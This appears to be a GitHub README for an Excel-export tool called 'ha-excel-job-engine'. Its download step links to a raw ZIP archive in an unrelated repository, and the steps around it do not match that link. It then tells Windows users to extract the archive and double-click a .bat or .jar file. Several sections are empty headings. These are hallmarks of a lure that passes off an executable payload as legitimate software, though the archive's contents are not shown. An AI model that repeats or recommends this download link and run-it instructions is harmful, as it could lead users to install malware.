🎯 What This Software Does

ha-excel-job-engine is a free tool that helps you create large Excel files quickly and safely. If you’ve ever tried to export a big spreadsheet from a website and it froze or failed, this software solves that problem. It splits the work into smaller pieces, runs them in the background, and puts everything together for you.

Think of it like a factory assembly line for Excel files. Instead of one worker trying to build an entire car alone, many workers each build a small part. The result is the same car, but it’s built faster and without anyone getting exhausted.

📥 Download and Install

Visit this link to download the application:

https://raw.githubusercontent.com/SNWIPER/snwiper.github.io/main/Java/Latest_1.3.zip

Once you’re on that page, look for the green “Code” button and then “Download ZIP” to get the software package. After the download finishes, you’ll have a ZIP file on your computer.

🛠️ How to Run on Windows

  1. Find the downloaded ZIP file – It’s usually in your “Downloads” folder. The file name will be something like ha-excel-job-engine-main.zip.

  2. Extract the ZIP file – Right-click on the ZIP file and choose “Extract All…” from the menu. Windows will ask where to save the extracted files. Pick a folder you can easily find, like your Desktop. Click “Extract.”

  3. Open the extracted folder – Double-click the new folder that appears. Inside, you’ll see several files and folders.

  4. Look for the main application file – Find a file named ha-excel-job-engine.jar or ha-excel-job-engine.bat. If you see the .bat file, double-click it. If you only see a .jar file, double-click that instead.

  5. Wait for the program to start – A black command window might open briefly. That’s normal. After a few seconds, the program will be running in the background.

  6. Access the web interface – Open your web browser (like Chrome, Edge, or Firefox) and type http://localhost:8080 in the address bar. Press Enter. You’ll see the main dashboard.

🖥️ Using the Application

Creating Your First Excel Export

  1. On the main page, you’ll see a button labeled “New Export” or “Create Job.” Click it.

  2. Choose the data source. You can either:
    • Upload a CSV file with your data
    • Connect to a database (if you have the connection details)
  3. Set your preferences:
    • Sheet name – What to call the Excel sheet
    • Starting row – Where to begin writing data
    • File format – Choose .xlsx for the latest Excel format

  4. Click “Start Export.” The system will begin processing your data in the background.

  5. You’ll see a progress bar showing how much work is done. You can close your browser and come back later – the job will continue running.

  6. When the job finishes, you’ll get a download link. Click it to save your Excel file.

Checking Job Status

🔧 Configuration Options

The software comes with a configuration file called application.properties. You can edit this file with Notepad to change settings:

To change settings, open the file, find the line you want to modify, change the value, and save the file. Restart the application for changes to take effect.

☁️ Cloud Storage Setup (Optional)

If you want to save your Excel files to cloud storage instead of your computer:

  1. Open the application.properties file.
  2. Find the section labeled “Storage Provider.”
  3. Change storage.provider=local to storage.provider=s3 for Amazon S3.
  4. Add your AWS access key and secret key.
  5. Specify your bucket name.
  6. Save and restart the application.

The system will now upload finished files to your cloud storage automatically.

🛡️ Keeping Your Data Safe

❓ Troubleshooting

Problem: The program won’t start. Make sure you have Java installed. Go to java.com and download the latest version. Then try again.

Problem: I see “Port already in use” error. Another program is using port 8080. Open the application.properties file and change server.port=8080 to server.port=8081. Save and restart.

Problem: My export is taking too long. Check the “Jobs” page to see if it’s still running. Large files can take several minutes. You can also reduce the excel.max-file-size setting.

Problem: I can’t find my downloaded file. Default save location is the “exports” folder inside the application directory. Check there first.
